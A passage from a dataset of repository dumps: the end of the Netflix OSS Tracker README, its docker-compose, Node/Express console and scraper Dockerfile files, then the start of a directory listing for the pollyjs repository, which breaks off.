and categorization of each project. In order to decrease the need for advanced visualization, much of the time series
data graphing leverages kibana on top of elasticsearch.
More Info
=========
You can see more about OSS Tracker from our meetup [video](https://www.youtube.com/watch?v=5s-SS_aXoi0) and [slides](http://www.slideshare.net/aspyker/netflix-open-source-meetup-season-4-episode-1).
Deployment
==========
For a sample deployment of the OSS Tracker using Terraform + Ansible, you can refer to [this project](https://github.com/RestComm/netflix-oss-tracker-infra).
[![Apache 2.0](https://img.shields.io/github/license/Netflix/osstracker.svg)](http://www.apache.org/licenses/LICENSE-2.0)
LICENSE
=======
Copyright 2016 Netflix, Inc.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
<http://www.apache.org/licenses/LICENSE-2.0>
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
| {"docker-compose.yml": "# This compose file will start up Netflix OSS Tracker and load it with a days worth of data\n#\n# You need to export a variable before running it with your github key\n# export github_oauth=YOUR_KEY_HERE\n# export github_org=YOUR_ORG_HERE\n#\nversion: '3'\nservices:\n cassandra:\n container_name: osstracker-cassandra\n image: cassandra:latest\n ports:\n - \"9042:9042\"\n environment:\n - \"MAX_HEAP_SIZE=256M\"\n - \"HEAP_NEWSIZE=128M\"\n restart: always\n volumes:\n - ./cassandra_data:/var/lib/cassandra\n\n elasticsearch:\n container_name: osstracker-elasticsearch\n image: elasticsearch:5.6.4\n environment:\n ES_JAVA_OPTS: \"-Xmx256m -Xms256m\"\n ports:\n - \"9200:9200\"\n environment:\n - \"ES_JAVA_OPTS=-Xms512m -Xmx512m\"\n restart: always\n ulimits:\n memlock:\n soft: -1\n hard: -1\n volumes:\n - ./es_data:/usr/share/elasticsearch/data\n\n kibana:\n container_name: osstracker-kibana\n image: kibana:5.6.4\n ports:\n - \"5601:5601\"\n restart: always\n\n osstracker-console:\n container_name: osstracker-console\n image: netflixoss/osstracker-console:latest\n ports:\n - \"3000:3000\"\n environment:\n CASS_HOST: cassandra\n CASS_PORT: 9042\n ES_HOST: elasticsearch\n ES_PORT: 9200\n restart: always\n depends_on:\n - cassandra\n - elasticsearch\n\n cassandra-load-keyspace:\n container_name: osstracker-cassandra-load-keyspace\n image: cassandra:latest\n depends_on:\n - cassandra\n volumes:\n - ./osstracker-ddl/osstracker.cql:/osstracker.cql\n command: /bin/bash -c \"sleep 60 && echo loading cassandra keyspace && cqlsh cassandra -f /osstracker.cql\"\n deploy:\n restart_policy:\n condition: on-failure\n delay: 5s\n max_attempts: 3\n window: 120s\n\n elasticsearch-configure-index-1:\n container_name: osstracker-elasticsearch-configure-index-1\n image: tutum/curl\n depends_on:\n - elasticsearch\n command: /bin/bash -c \"sleep 60 && echo adding index && curl -X PUT elasticsearch:9200/osstracker\"\n deploy:\n restart_policy:\n condition: on-failure\n delay: 5s\n max_attempts: 3\n window: 120s\n\n elasticsearch-configure-index-2:\n container_name: osstracker-elasticsearch-configure-index-2\n image: tutum/curl\n depends_on:\n - elasticsearch\n volumes:\n - ./osstracker-ddl/elasticsearch-mappings.json:/elasticsearch-mappings.json\n command: /bin/bash -c \"sleep 80 && echo adding index && curl -X PUT -d @/elasticsearch-mappings.json elasticsearch:9200/osstracker/repo_stats/_mapping\"\n deploy:\n restart_policy:\n condition: on-failure\n delay: 5s\n max_attempts: 3\n window: 120s\n\n osstracker-scraper-cassandra:\n container_name: osstracker-scraper-cassandra\n image: netflixoss/osstracker-scraper:latest\n depends_on:\n - cassandra\n - elasticsearch\n environment:\n CASS_HOST: cassandra\n CASS_PORT: 9042\n ES_HOST: elasticsearch\n ES_PORT: 9200\n github_oauth: ${github_oauth}\n github_org: ${github_org}\n restart: always\n command: /bin/sh -c \"sleep 100 && java -cp /osstracker-scraperapp-all.jar com.netflix.oss.tools.osstrackerscraper.app.RunGithubScraper --action updatecassandra\"\n\n osstracker-scraper-elasticsearch:\n container_name: osstracker-scraper-elasticsearch\n image: netflixoss/osstracker-scraper:latest\n depends_on:\n - cassandra\n - elasticsearch\n environment:\n CASS_HOST: cassandra\n CASS_PORT: 9042\n ES_HOST: elasticsearch\n ES_PORT: 9200\n github_oauth: ${github_oauth}\n github_org: ${github_org}\n restart: always\n command: /bin/sh -c \"sleep 160 && java -cp /osstracker-scraperapp-all.jar com.netflix.oss.tools.osstrackerscraper.app.RunGithubScraper --action updateelasticsearch\"", ".git\\hooks\\applypatch-msg.sample": "#!/bin/sh\n#\n# An example hook script to check the commit log message taken by\n# applypatch from an e-mail message.\n#\n# The hook should exit with non-zero status after issuing an\n# appropriate message if it wants to stop the commit. The hook is\n# allowed to edit the commit message file.\n#\n# To enable this hook, rename this file to \"applypatch-msg\".\n\n. git-sh-setup\ncommitmsg=\"$(git rev-parse --git-path hooks/commit-msg)\"\ntest -x \"$commitmsg\" && exec \"$commitmsg\" ${1+\"$@\"}\n:\n", ".git\\hooks\\pre-applypatch.sample": "#!/bin/sh\n#\n# An example hook script to verify what is about to be committed\n# by applypatch from an e-mail message.\n#\n# The hook should exit with non-zero status after issuing an\n# appropriate message if it wants to stop the commit.\n#\n# To enable this hook, rename this file to \"pre-applypatch\".\n\n. git-sh-setup\nprecommit=\"$(git rev-parse --git-path hooks/pre-commit)\"\ntest -x \"$precommit\" && exec \"$precommit\" ${1+\"$@\"}\n:\n", "gradle\\wrapper\\gradle-wrapper.properties": "#Mon Feb 08 13:18:27 PST 2016\ndistributionBase=GRADLE_USER_HOME\ndistributionPath=wrapper/dists\nzipStoreBase=GRADLE_USER_HOME\nzipStorePath=wrapper/dists\ndistributionUrl=https\\://services.gradle.org/distributions/gradle-2.10-bin.zip\n", "osstracker-console\\app.js": "var express = require('express');\nvar path = require('path');\nvar favicon = require('serve-favicon');\nvar logger = require('morgan');\nvar cookieParser = require('cookie-parser');\nvar bodyParser = require('body-parser');\nvar debug = require('debug')('osstracker:server');\nvar http = require('http');\n\nvar routes = require('./routes/index');\n\nvar app = express();\n\n// view engine setup\napp.set('views', path.join(__dirname, 'views'));\napp.set('view engine', 'pug');\n\n// uncomment after placing your favicon in /public\napp.use(favicon(path.join(__dirname, 'public', 'favicon.ico')));\napp.use(logger('dev'));\napp.use(bodyParser.json());\napp.use(bodyParser.urlencoded({ extended: true }));\napp.use(cookieParser());\napp.use(express.static(path.join(__dirname, 'public')));\n\napp.use('/', routes);\n\n// catch 404 and forward to error handler\napp.use(function(req, res, next) {\n var err = new Error('Not Found');\n err.status = 404;\n next(err);\n});\n\n// error handlers\n\n// development error handler\n// will print stacktrace\nif (app.get('env') === 'development') {\n app.use(function(err, req, res, next) {\n res.status(err.status || 500);\n res.render('error', {\n message: err.message,\n error: err\n });\n });\n}\n\n// production error handler\n// no stacktraces leaked to user\napp.use(function(err, req, res, next) {\n res.status(err.status || 500);\n res.render('error', {\n message: err.message,\n error: {}\n });\n});\n\nmodule.exports = app;\n\n/**\n * Get port from environment and store in Express.\n */\n\nvar port = normalizePort(process.env.PORT || '3000');\napp.set('port', port);\n\n/**\n * Create HTTP server.\n */\n\nvar server = http.createServer(app);\n\n/**\n * Listen on provided port, on all network interfaces.\n */\n\nserver.listen(port);\nserver.on('error', onError);\nserver.on('listening', onListening);\n\n/**\n * Normalize a port into a number, string, or false.\n */\n\nfunction normalizePort(val) {\n var port = parseInt(val, 10);\n\n if (isNaN(port)) {\n // named pipe\n return val;\n }\n\n if (port >= 0) {\n // port number\n return port;\n }\n\n return false;\n}\n\n/**\n * Event listener for HTTP server \"error\" event.\n */\n\nfunction onError(error) {\n if (error.syscall !== 'listen') {\n throw error;\n }\n\n var bind = typeof port === 'string'\n ? 'Pipe ' + port\n : 'Port ' + port;\n\n // handle specific listen errors with friendly messages\n switch (error.code) {\n case 'EACCES':\n console.error(bind + ' requires elevated privileges');\n process.exit(1);\n break;\n case 'EADDRINUSE':\n console.error(bind + ' is already in use');\n process.exit(1);\n break;\n default:\n throw error;\n }\n}\n\n/**\n * Event listener for HTTP server \"listening\" event.\n */\n\nfunction onListening() {\n var addr = server.address();\n var bind = typeof addr === 'string'\n ? 'pipe ' + addr\n : 'port ' + addr.port;\n debug('Listening on ' + bind);\n}\n\n", "osstracker-console\\Dockerfile": "FROM node:4-slim\n\nMAINTAINER NetflixOSS <[email protected]>\n\nADD / /\n\nRUN npm install\n\nENTRYPOINT [\"node\", \"app.js\"]", "osstracker-console\\package.json": "{\n \"name\": \"osstracker\",\n \"version\": \"0.0.0\",\n \"private\": true,\n \"scripts\": {\n \"start\": \"node app.js\"\n },\n \"dependencies\": {\n \"body-parser\": \"~1.13.2\",\n \"cassandra-driver\": \"3.0.1\",\n \"cookie-parser\": \"~1.3.5\",\n \"debug\": \"~2.2.0\",\n \"express\": \"~4.13.1\",\n \"pug\": \"~2.0.0-beta3\",\n \"log4js\": \"~0.6.31\",\n \"morgan\": \"~1.6.1\",\n \"request\": \"~2.69.0\",\n \"serve-favicon\": \"~2.3.0\"\n }\n}\n", "osstracker-console\\public\\index.html": "<!DOCTYPE html>\n<html lang=\"en\">\n <head>\n <meta charset=\"utf-8\">\n <meta http-equiv=\"X-UA-Compatible\" content=\"IE=edge\">\n <meta name=\"viewport\" content=\"width=device-width, initial-scale=1\">\n <!-- The above 3 meta tags *must* come first in the head; any other head content must come *after* these tags -->\n <title>OSS Tracker</title>\n\n <!-- Bootstrap -->\n <link rel=\"stylesheet\" href=\"https://maxcdn.bootstrapcdn.com/bootstrap/3.3.4/css/bootstrap.min.css\">\n <link rel=\"stylesheet\" href=\"https://maxcdn.bootstrapcdn.com/bootstrap/3.3.4/css/bootstrap-theme.min.css\">\n <link href=\"css/osstracker.css\" rel=\"stylesheet\">\n\n <!-- HTML5 shim and Respond.js for IE8 support of HTML5 elements and media queries -->\n <!-- WARNING: Respond.js doesn't work if you view the page via file:// -->\n <!--[if lt IE 9]>\n <script src=\"https://oss.maxcdn.com/html5shiv/3.7.2/html5shiv.min.js\"></script>\n <script src=\"https://oss.maxcdn.com/respond/1.4.2/respond.min.js\"></script>\n <![endif]-->\n </head>\n <body>\n <nav class=\"navbar navbar-inverse navbar-fixed-top\">\n <div class=\"container\">\n <div class=\"navbar-header\">\n <button type=\"button\" class=\"navbar-toggle collapsed\" data-toggle=\"collapse\" data-target=\"#navbar\" aria-expanded=\"false\" aria-controls=\"navbar\">\n <span class=\"sr-only\">Toggle navigation</span>\n <span class=\"icon-bar\"></span>\n <span class=\"icon-bar\"></span>\n <span class=\"icon-bar\"></span>\n </button>\n <a class=\"navbar-brand\" href=\"index.html\">OSS Tracker</a>\n </div>\n <div id=\"navbar\" class=\"collapse navbar-collapse\">\n <ul class=\"nav navbar-nav\">\n <li class=\"active\"><a href=\"#\">Home</a></li>\n <li><a href=\"overall.html\">Overall Stats</a></li>\n <li><a href=\"ownership.html\">Repo Ownership</a></li>\n <li><a href=\"perrepopublic.html\">Repo Stats (Public)</a></li>\n <li><a href=\"perrepoprivate.html\">Repo Stats (Private)</a></li>\n </ul>\n </div><!--/.nav-collapse -->\n </div>\n </nav>\n <div class=\"container\">\n\n <div>\n <h1> </h1>\n <img src=\"images/netflix-oss-logo-new.png\">\n <h1>Welcome to OSS Tracker</h1>\n <p class=\"lead\">OSS Tracker is an application that collects information about a Github organization and aggregates the data across\n all projects within that organization into a single user interface to be used by various roles within the owning\n organization.</p>\n\n <p class=\"lead\">For the community manager, all repositories are listed and metrics are combined for the <a href=\"overall.html\">organization\n as a whole</a>. A community manager can also organize projects into functional areas and appoint shepherds of these areas to assign\n management and engineering leads.</p>\n\n <p class=\"lead\">The shepherds of each functional area can not <a href=\"ownership.html\">only assign and maintain leads</a> for\n each project, but also view aggregated metrics for their area.</p>\n\n <p class=\"lead\">For individual owners, the OSS tracker gives a <a href=\"perrepopublic.html\">daily summary</a> as well as historical\n information on key repository metrics such as open issues and pull requests, days since last commit, and average time to resolve\n issues and pull requests.</p>\n </p>\n </div>\n\n </div>\n <!-- /.container -->\n <!-- jQuery (necessary for Bootstrap's JavaScript plugins) -->\n <script src=\"https://ajax.googleapis.com/ajax/libs/jquery/1.11.2/jquery.min.js\"></script>\n <!-- Include all compiled plugins (below), or include individual files as needed -->\n <script src=\"https://maxcdn.bootstrapcdn.com/bootstrap/3.3.4/js/bootstrap.min.js\"></script>\n </body>\n</html>\n", "osstracker-console\\routes\\index.js": "var express = require('express');\nvar log4js = require('log4js');\nvar request = require('request');\nvar cassandra = require('cassandra-driver');\n\nvar router = express.Router();\n\nvar settings = require('../settings.json');\n\nvar employeeDirectory = require(settings.employeeDirectory);\n\nvar CASS_HOST = process.env.CASS_HOST;\nif (!CASS_HOST) {\n console.error(\"CASS_HOST environment variable not defined\");\n process.exit(1);\n}\nvar CASS_PORT = parseInt(process.env.CASS_PORT) || 7104;\nvar ES_HOST = process.env.ES_HOST;\nif (!ES_HOST) {\n console.error(\"ES_HOST environment variable not defined\");\n process.exit(1);\n}\nvar ES_PORT = parseInt(process.env.ES_PORT) || 7104;\n\nvar logger = log4js.getLogger();\nlogger.setLevel('INFO');\nvar dbClient;\nvar esBaseUrl = 'http://' + ES_HOST + ':' + ES_PORT;\n\nvar SELECT_ALL_FROM_REPO_ORGS = \"SELECT * FROM repo_orgs\";\nvar INSERT_INTO_REPOS = \"INSERT INTO repo_info (gh_repo_name, org_short, dev_lead_empid, mgr_lead_empid) VALUES (?, ?, ?, ?)\";\nvar SELECT_ALL_FROM_REPO_OWNERSHIP = \"SELECT * FROM repo_info\";\n\n// returns a single string of what elastic search DNS name should\n// be used in direct links in the console\nrouter.get('/hosts/eshost', function(req, res, next) {\n res.send(ES_HOST);\n});\n\n// Response is JSON list that has repo items with repo name, repo org (short form),\n// employee ids for manager lead and development lead\n// [ { name: 'somerepo', orgName: 'CRSL', mgrLead: \"12345\", devLead: \"56789\" }, ... ]\nrouter.get('/repos', function(req, res, next) {\n dbClient.execute(SELECT_ALL_FROM_REPO_OWNERSHIP, [], {prepare: true}, function(err, result) {\n if (err) {\n logger.error('error ' + JSON.stringify(err));\n res.status(500).end();\n return;\n }\n\n var repos = [];\n for (ii = 0; ii < result.rows.length; ii++) {\n var repo = {\n name : result.rows[ii].gh_repo_name,\n orgName : result.rows[ii].org_short,\n mgrLead: result.rows[ii].mgr_lead_empid,\n devLead: result.rows[ii].dev_lead_empid\n }\n repos.push(repo);\n }\n\n res.send(repos);\n });\n});\n\n//\n// Response is JSON list that has users with name, github id, employee id, and email\n// [ { employeeId: '123456', githubId: 'githubusername', email: '[email protected]', name: 'First Last' }, ... ]\nrouter.get('/users', function(req, res, next) {\n employeeDirectory.getGithubIds(function(err, response) {\n if (err) {\n logger.error('error = ' + JSON.stringify(err));\n res.status(500).end();\n }\n res.send(response);\n });\n});\n\n// Response is JSON list that has orgs with long and short name\n// [ {\"orgName\":\"DP\",\"orgDesc\":\"Data Persistence\"} , {\"orgName\":\"BDT\",\"orgDesc\":\"Build and Delivery Tools\"}, ... ]\nrouter.get('/repos/orgs', function(req, res, next) {\n\tdbClient.execute(SELECT_ALL_FROM_REPO_ORGS, [], {prepare: true}, function(err, result) {\n\t\tif (err) {\n logger.error('error ' + JSON.stringify(err));\n\t\t\tres.status(500).end();\n\t\t\treturn;\n\t\t}\n\t\tvar orgs = []\n\t\tfor (ii = 0; ii < result.rows.length; ii++) {\n\t\t\tvar org = {\n\t\t\t\t\"orgName\" : result.rows[ii].org_short,\n\t\t\t\t\"orgDesc\" : result.rows[ii].org_description\n\t\t\t}\n\t\t\torgs.push(org);\n\t\t}\n\t\tres.send(orgs)\n\t\treturn;\n\t});\n});\n\n// Request to update the ownership of a repository\n// Expects repoName, repoOrg, mgrLead (employee id ), devLead (employee id)\nrouter.post('/repos/:repoName', function(req, res) {\n var repoName = req.params.repoName;\n var repoOrg = req.body.repoOrg;\n var repoMgrLead = req.body.mgrLead;\n var repoDevLead = req.body.devLead;\n \n var params = [repoName, repoOrg, repoDevLead, repoMgrLead];\n logger.debug(INSERT_INTO_REPOS + ' ' + params);\n dbClient.execute(INSERT_INTO_REPOS, params, {prepare: true}, function(err) {\n if (err) {\n logger.error(\"err = \" + JSON.stringify(err));\n res.status(500).end();\n return;\n }\n });\n res.status(200).end();\n return;\n});\n\n//\n//Response is JSON list that has repo stats with various feilds of format\n// [ {\n// \"name\":\"repoName\",\"forks\":100,\"stars\":200,\"numContributors\":20,\"issueOpenCount\":10,\"issueClosedCount\":300,\n// \"issueAvgClose\":13,\"prOpenCount\":8,\"prClosedCount\":259,\"prAvgClose\":3,\"daysSinceLastCommit\":59,\"public\":true,\n// \"osslifecycle\":\"active\"}, ... ]\nrouter.get('/repos/stats', function (req, res) {\n queryLatestStats(function(err, allrepos) {\n if (err) {\n logger.error(\"err = \" + JSON.stringify(err));\n res.status(500).end();\n return;\n }\n\n var repos = [];\n var therepos = allrepos.repos\n for (ii = 0; ii < therepos.length; ii++) {\n var therepo = therepos[ii];\n var repo = {\n name: therepo.repo_name,\n forks: therepo.forks,\n stars: therepo.stars,\n numContributors: therepo.numContributors,\n issueOpenCount: therepo.issues.openCount,\n issueClosedCount: therepo.issues.closedCount,\n issueAvgClose: therepo.issues.avgTimeToCloseInDays,\n prOpenCount: therepo.pullRequests.openCount,\n prClosedCount: therepo.pullRequests.closedCount,\n prAvgClose: therepo.pullRequests.avgTimeToCloseInDays,\n daysSinceLastCommit: therepo.commits.daysSinceLastCommit,\n public: therepo.public,\n osslifecycle: therepo.osslifecycle\n };\n repos.push(repo);\n }\n res.send(repos);\n });\n});\n\n// Response is a single elasticsearch document with the stats from each project\n// format is:\n// {\"asOfISO\":\"2016-02-09T08:18:44Z\",\"asOfYYYYMMDD\":\"2016-02-09\",\"avgForks\":134,\"avgStars\":599,\n// \"issues\":{ \"avgOpenCount\":39,\"avgClosedCount\":210,\"totalOpenCount\":356,\"totalClosedCount\":1897},\n// \"pullRequests\":{\"avgOpenCount\":8,\"avgClosedCount\":154,\"totalOpenCount\":73,\"totalClosedCount\":1389},\n// \"commits\":{},\n// \"repos\":[\n// {\"asOfISO\":\"2016-02-09T08:18:44Z\",\"asOfYYYYMMDD\":\"2016-02-09\",\"repo_name\":\"repoName\",\"public\":true,\n// \"osslifecycle\":\"active\",\"forks\":172,\"stars\":821,\"numContributors\":25,\n// \"issues\": {\"openCount\":68,\"closedCount\":323,\"avgTimeToCloseInDays\":13},\n// \"pullRequests\":{\"openCount\":8,\"closedCount\":259,\"avgTimeToCloseInDays\":3},\n// \"commits\":{\"daysSinceLastCommit\":59},\"contributors\":[\"user\", ... ]\n// }, ...\n// ]\n// }\nrouter.get('/repos/overview', function (req, res) {\n queryLatestStats(function(err, allrepos) {\n if (err) {\n logger.error(\"err = \" + JSON.stringify(err));\n res.status(500).end();\n return;\n }\n res.send(allrepos);\n });\n});\n\nfunction queryAllStats(repoName, callback/*(err, hits)*/) {\n // query to search for a specific repo returning only the last document (date wise)\n var query = { \"size\": 1, \"sort\": [{\"asOfYYYYMMDD\": {\"order\": \"desc\"}}]};\n var url = esBaseUrl + '/osstracker/allrepos_stats/_search';\n var qArgs = { method: 'POST', uri: url, json: query};\n request(qArgs, function (err, response, body) {\n if (err) {\n logger.error('error = ' + err);\n callback(err, null);\n return;\n }\n else {\n if (response.statusCode == 200) {\n callback(null, body.hits.hits[0]);\n return;\n }\n else {\n logger.error('error status code = ' + response.statusCode);\n callback('error status code = ' + response.statusCode, null);\n return;\n }\n }\n });\n}\n\nfunction queryLatestStats(callback/*(err, stats)*/) {\n // query to search for a specific repo returning only the last document (date wise)\n var query = { \"size\": 1, \"sort\": [{\"asOfYYYYMMDD\": {\"order\": \"desc\"}}]};\n var url = esBaseUrl + '/osstracker/allrepos_stats/_search';\n\n var qArgs = { method: 'POST', uri: url, json: query};\n request(qArgs, function (err, response, body) {\n if (err) {\n logger.error('error = ' + err);\n callback(err, null);\n return;\n }\n else {\n logger.debug(\"response = \" + JSON.stringify(body));\n if (response.statusCode == 200) {\n callback(null, body.hits.hits[0]._source);\n return;\n }\n else {\n logger.error('error status code = ' + response.statusCode);\n callback('error status code = ' + response.statusCode, null);\n return;\n }\n }\n });\n}\n\nfunction connectToDataBase(hosts, callback/*(err, dbClient)*/) {\n logger.info(\"hosts = \" + hosts)\n\tclient = new cassandra.Client({ contactPoints: hosts, protocolOptions : { port : CASS_PORT }, keyspace: 'osstracker'});\n\tif (!client) {\n\t\tcallback(\"error connecting to database\", null);\n\t}\n\telse {\n\t\tlogger.info(\"database client = \" + client);\n\t\tcallback(null, client);\n\t}\n}\n\nfunction getDBClient() {\n connectToDataBase([CASS_HOST], function(err, client) {\n if (err) {\n logger.error(\"could not get database connection, waiting\");\n }\n else {\n dbClient = client;\n }\n });\n}\n\nvar waitForDbConnections = setInterval(function () {\n\tif (dbClient) {\n\t\tclearInterval(waitForDbConnections);\n\t\treturn;\n\t}\n\telse {\n\t getDBClient();\n\t}\n}, 5000);\n\nmodule.exports = router;\n", "osstracker-ddl\\elasticsearch-mappings.json": "{\n \"properties\": {\n \"repo_name\": {\n \"type\": \"keyword\",\n \"index\": \"true\"\n },\n \"osslifecycle\": {\n \"type\": \"keyword\",\n \"index\": \"true\"\n }\n }\n}\n", "osstracker-scraperapp\\Dockerfile": "FROM openjdk:8-alpine\n\nMAINTAINER NetflixOSS <[email protected]>\n\nCOPY build/libs/osstracker-scraperapp-*-all.jar /osstracker-scraperapp-all.jar\n\nENV github_oauth=1111111111111111111111111111111111111111\nENV github_org=Netflix\nENV github_login=yourloginhere\n\nCMD [\"java\", \"-jar\", \"/osstracker-scraperapp-all.jar\", \"--action\", \"updatecassandra\"]\n"} | null |
pollyjs | {"type": "directory", "name": "pollyjs", "children": [{"type": "file", "name": ".commitlintrc.js"}, {"type": "file", "name": ".eslintignore"}, {"type": "file", "name": ".eslintrc.js"}, {"type": "directory", "name": ".husky", "children": [{"type": "file", "name": "commit-msg"}, {"type": "file", "name": "pre-commit"}]}, {"type": "file", "name": ".mocharc.js"}, {"type": "file", "name": ".prettierrc.js"}, {"type": "file", "name": ".travis.yml"}, {"type": "file", "name": "CHANGELOG.md"}, {"type": "file", "name": "CONTRIBUTING.md"}, {"type": "directory", "name": "docs", "children": [{"type": "file", "name": ".nojekyll"}, {"type": "directory", "name": "adapters", "children": [{"type": "file", "name": "custom.md"}, {"type": "file", "name": "fetch.md"}, {"type": "file", "name": "node-http.md"}, {"type": "file", "name": "playwright.md"}, {"type": "file", "name": "puppeteer.md"}, {"type": "file", "name": "xhr.md"}]}, {"type": "file", "name": "api.md"}, {"type": "directory", "name": "assets", "children": [{"type": "directory", "name": "images", "children": [{"type": "file", "name": "favicon.ico"}]}, {"type": "file", "name": "styles.css"}]}, {"type": "directory", "name": "cli", "children": [{"type": "file", "name": "commands.md"}, {"type": "file", "name": "overview.md"}]}, {"type": "file", "name": "configuration.md"}, {"type": "file", "name": "examples.md"}, {"type": "directory", "name": "frameworks", "children": [{"type": "file", "name": "ember-cli.md"}]}, {"type": "file", "name": "index.html"}, {"type": "directory", "name": "node-server", "children": [{"type": "file", "name": "express-integrations.md"}, {"type": "file", "name": "overview.md"}]}, {"type": "directory", "name": "persisters", "children": [{"type": "file", "name": "custom.md"}, {"type": "file", "name": "fs.md"}, {"type": "file", "name": "local-storage.md"}, {"type": "file", "name": "rest.md"}]}, {"type": "file", "name": "quick-start.md"}, {"type": "directory", "name": "server", "children": [{"type": "file", "name": "api.md"}, {"type": "file", "name": "event.md"}, {"type": "file", "name": "events-and-middleware.md"}, {"type": "file", "name": "overview.md"}, {"type": "file", "name": "request.md"}, {"type": "file", "name": "response.md"}, {"type": "file", "name": "route-handler.md"}]}, {"type": "directory", "name": "test-frameworks", "children": [{"type": "file", "name": "jest-jasmine.md"}, {"type": "file", "name": "mocha.md"}, {"type": "file", "name": "qunit.md"}]}, {"type": "file", "name": "_coverpage.md"}, {"type": "file", "name": "_sidebar.md"}]}, {"type": "directory", "name": "examples", "children": [{"type": "file", "name": ".eslintrc.js"}, {"type": "directory", "name": "client-server", "children": [{"type": "file", "name": "index.html"}, {"type": "file", "name": "package.json"}, {"type": "directory", "name": "tests", "children": [{"type": "file", "name": "events.test.js"}, {"type": "file", "name": "intercept.test.js"}, {"type": "file", "name": "setup.js"}]}]}, {"type": "directory", "name": "dummy-app", "children": [{"type": "file", "name": ".eslintrc.js"}, {"type": "file", "name": "package.json"}, {"type": "directory", "name": "public", "children": [{"type": "file", "name": "favicon.ico"}, {"type": "file", "name": "index.html"}, {"type": "file", "name": "manifest.json"}]}, {"type": "file", "name": "README.md"}, {"type": "directory", "name": "src", "children": [{"type": "file", "name": "App.js"}, {"type": "file", "name": "index.css"}, {"type": "file", "name": "index.js"}, {"type": "file", "name": "posts.js"}, {"type": "file", "name": "todos.js"}, {"type": "file", "name": "users.js"}]}]}, {"type": "directory", "name": "jest-node-fetch", "children": [{"type": "file", "name": ".eslintrc.js"}, {"type": "file", "name": "package.json"}, {"type": "directory", "name": "src", "children": [{"type": "file", "name": "index.js"}, {"type": "file", "name": "posts.js"}, {"type": "file", "name": "users.js"}]}, {"type": "directory", "name": "__recordings__", "children": [{"type": "directory", "name": "jest-node-fetch_1142061259", "children": [{"type": "directory", "name": "posts_1278140380", "children": [{"type": "directory", "name": "should-return-post_148615714", "children": [{"type": "file", "name": "recording.har"}]}]}, {"type": "directory", "name": "users_1585235219", "children": [{"type": "directory", "name": "should-return-user_4259424139", "children": [{"type": "file", "name": "recording.har"}]}]}]}]}, {"type": "directory", "name": "__tests__", "children": [{"type": "file", "name": "index.test.js"}]}]}, {"type": "directory", "name": "jest-puppeteer", "children": [{"type": "file", "name": ".eslintrc.js"}, {"type": "file", "name": "jest-puppeteer.config.js"}, {"type": "file", "name": "jest.config.js"}, {"type": "file", "name": "package.json"}, {"type": "directory", "name": "__recordings__", "children": [{"type": "directory", "name": "jest-puppeteer_2726822272", "children": [{"type": "directory", "name": "should-be-able-to-navigate-to-all-routes_1130491217", "children": [{"type": "file", "name": "recording.har"}]}]}]}, {"type": "directory", "name": "__tests__", "children": [{"type": "file", "name": "dummy-app.test.js"}]}]}, {"type": "directory", "name": "node-fetch", "children": [{"type": "file", "name": "package.json"}, {"type": "directory", "name": "recordings", "children": [{"type": "directory", "name": "node-fetch_2851505768", "children": [{"type": "directory", "name": "should-work_3457346403", "children": [{"type": "file", "name": "recording.har"}]}]}]}, {"type": "directory", "name": "tests", "children": [{"type": "file", "name": "node-fetch.test.js"}]}]}, {"type": "directory", "name": "puppeteer", "children": [{"type": "file", "name": "index.js"}, {"type": "file", "name": "package.json"}, {"type": "directory", "name": "recordings", "children": [{"type": "directory", "name": "puppeteer_2155046665", "children": [{"type": "file", "name": "recording.har"}]}]}]}, {"type": "directory", "name": "rest-persister", "children": [{"type": "file", "name": "index.html"}, {"type": "file", "name": "package.json"}, {"type": "directory", "name": "recordings", "children": [{"type": "directory", "name": "REST-Persister_2289553200", "children": [{"type": "directory", "name": "should-work_3457346403", "children": [{"type": "file", "name": "recording.har"}]}]}]}, {"type": "directory", "name": "tests", "children": [{"type": "file", "name": "rest-persister.test.js"}, {"type": "file", "name": "setup.js"}]}]}, {"type": "directory", "name": "typescript-jest-node-fetch", "children": [{"type": "file", "name": "jest.config.ts"}, {"type": "file", "name": "package.json"}, {"type": "directory", "name": "src", "children": [{"type": "file", "name": "github-api.test.ts"}, {"type": "file", "name": "github-api.ts"}, {"type": "directory", "name": "utils", "children": [{"type": "file", "name": "auto-setup-polly.ts"}]}]}, {"type": "file", "name": "tsconfig.json"}, {"type": "directory", "name": "__recordings__", "children": [{"type": "directory", "name": "github-api-client_2139812550", "children": [{"type": "directory", "name": "getUser_1648904580", "children": [{"type": "file", "name": "recording.har"}]}]}]}]}]}, {"type": "file", "name": "jest.config.js"}, {"type": "file", "name": "lerna.json"}, {"type": "file", "name": "LICENSE"}, {"type": "file", "name": "OSSMETADATA"}, {"type": "file", "name": "package.json"}, {"type": "directory", "name": "packages", "children": [{"type": "directory", "name": "@pollyjs", "children": [{"type": "directory", "name": "adapter", "children": [{"type": "file", "name": "CHANGELOG.md"}, {"type": "file", "name": "LICENSE"}, {"type": "file", "name": "package.json"}, {"type": "file", "name": "README.md"}, {"type": "file", "name": "rollup.config.test.js"}, {"type": "directory", "name": "src", "children": [{"type": "file", "name": "index.js"}, {"type": "directory", "name": "utils", "children": [{"type": "file", "name": "dehumanize-time.js"}, {"type": "file", "name": "is-expired.js"}, {"type": "file", "name": "normalize-recorded-response.js"}, {"type": "file", "name": "stringify-request.js"}]}]}, {"type": "directory", "name": "tests", "children": [{"type": "directory", "name": "unit", "children": [{"type": "file", "name": "adapter-test.js"}, {"type": "directory", "name": "utils", "children": [{"type": "file", "name": "dehumanize-time-test.js"}, {"type": "file", "name": "is-expired-test.js"}]}]}]}, {"type": "file", "name": "types.d.ts"}]}, {"type": "directory", "name": "adapter-fetch", "children": [{"type": "file", "name": "CHANGELOG.md"}, {"type": "file", "name": "LICENSE"}, {"type": "file", "name": "package.json"}, {"type": "file", "name": "README.md"}, {"type": "file", "name": "rollup.config.test.js"}, {"type": "directory", "name": "src", "children": [{"type": "file", "name": "index.js"}, {"type": "directory", "name": "utils", "children": [{"type": "file", "name": "serializer-headers.js"}]}]}, {"type": "directory", "name": "tests", "children": [{"type": "directory", "name": "integration", "children": [{"type": "file", "name": "adapter-test.js"}, {"type": "file", "name": "persister-local-storage-test.js"}, {"type": "file", "name": "persister-rest-test.js"}, {"type": "file", "name": "server-test.js"}]}, {"type": "directory", "name": "utils", "children": [{"type": "file", "name": "polly-config.js"}]}]}, {"type": "file", "name": "types.d.ts"}]}, {"type": "directory", "name": 